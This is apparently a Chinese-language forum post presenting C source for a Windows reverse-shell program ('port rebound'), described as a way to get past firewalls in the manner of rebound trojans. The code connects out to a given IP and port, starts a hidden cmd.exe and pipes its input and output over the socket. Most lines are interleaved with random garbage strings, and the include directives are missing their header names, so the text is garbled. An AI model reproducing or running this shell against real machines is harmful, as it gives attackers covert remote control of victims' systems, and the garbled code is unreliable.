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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >SS979  
,f .#-  
/* ============================== %Gjjl*`E  
Rebound port in Windows NT ks8xxY  
By wind,2006/7 F'55BY*!  
===============================*/ 7D4I>N'T  
#include U6M&7 l8  
#include r+n hm"9  
s=XqI@  
#pragma comment(lib,"wsock32.lib") Uc j>gc=  
ibgF,N  
void OutputShell(); <h~_7Dn  
SOCKET sClient; "'c =(P  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sv*xO7D.  
g1q%b%8T  
void main(int argc,char **argv) rgu7g  
{ M,eq-MEK  
WSADATA stWsaData; 1gH>B5`  
int nRet; Byns6k  
SOCKADDR_IN stSaiClient,stSaiServer; oX-h7;SD  
<-|g>  
if(argc != 3) CHM+@lD  
{ .Tc?9X~4  
printf("Useage:\n\rRebound DestIP DestPort\n"); Y;8.(0r/  
return; BeM|1pe.  
} i'0ol^~y6  
H.TPKdVX  
WSAStartup(MAKEWORD(2,2),&stWsaData); [u8JqX  
V[">SiOg  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1L.yh U\  
-GL-&^3IjH  
stSaiClient.sin_family = AF_INET; f>+:UGmP  
stSaiClient.sin_port = htons(0); n 4EZy<~m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zj'uKBDl  
;Z#DB$o\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jF%l\$)/  
{ @xAfD{}f!  
printf("Bind Socket Failed!\n"); g8;JpPw  
return; ZQDw|*a@  
} tP/R9Ezp  
y &%2  
stSaiServer.sin_family = AF_INET; dRLvej,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a~;`&Uj  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xwrleB  
r/6h}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u}KEH@yv  
{ >l!DW i6  
printf("Connect Error!"); 2<+9lk  
return; ,m.IhnCV\  
} RkBbu4uQ-  
OutputShell(); !CuLXuM  
} " ZFK-jn/  
YS&Q4nv-  
void OutputShell() ^1+&)6s7V  
{ s& WHKCb  
char szBuff[1024]; 9@z"~H  
SECURITY_ATTRIBUTES stSecurityAttributes; $.r:  
OSVERSIONINFO stOsversionInfo; .cm$*>LW:x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #3Jn_Y%P.  
STARTUPINFO stStartupInfo; Hh.l,Z7i7D  
char *szShell; V s1Z$HS`  
PROCESS_INFORMATION stProcessInformation; TfqQh!Y  
unsigned long lBytesRead; NpYzN|W:  
eMDraJv@  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vh^,8pPy  
VBI~U?0  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fwi( qx1=}  
stSecurityAttributes.lpSecurityDescriptor = 0; u:D,\`;)  
stSecurityAttributes.bInheritHandle = TRUE; W%cJ#R[o  
g"L$}#iTsl  
fRd^@@,[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XqTDLM&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |0/~7l  
= eDi8A*~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]Syr{|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / L/hR4  
stStartupInfo.wShowWindow = SW_HIDE; /0qLMlL$  
stStartupInfo.hStdInput = hReadPipe; &\GB_UA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \LpR7D  
7q[a8rUdh  
GetVersionEx(&stOsversionInfo); '`Iuf\  
2Fsv_t&*>  
switch(stOsversionInfo.dwPlatformId) 4q\bnt  
{ 2hI|] p  
case 1: ];1Mg  
szShell = "command.com"; m`Ver:{  
break; 8z h{?0  
default: m dTCe HX  
szShell = "cmd.exe"; vMV}M%~  
break; W{(q7>g  
} Grw|8xN0t  
m|w-}s,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >HY( Ij<  
-(]s!,  
send(sClient,szMsg,77,0); 11(:#4Y,  
while(1) %^$7z,>;  
{ /2e&fxxD  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lUd;u*A  
if(lBytesRead) 0xYPK7a=L\  
{ jRP9e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q-}yZ  
send(sClient,szBuff,lBytesRead,0); {"uLV{d  
} %nfaU~IqK  
else t\$P*_  
{ %Z=%E!*  
lBytesRead=recv(sClient,szBuff,1024,0); G&HCOR!h  
if(lBytesRead<=0) break; 8=U0\<wT  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TZk.?@s5  
} 6eh\-+=  
} 2=PX1kI  
x2bKFJ>e@  
return; JXIxk"m  
}
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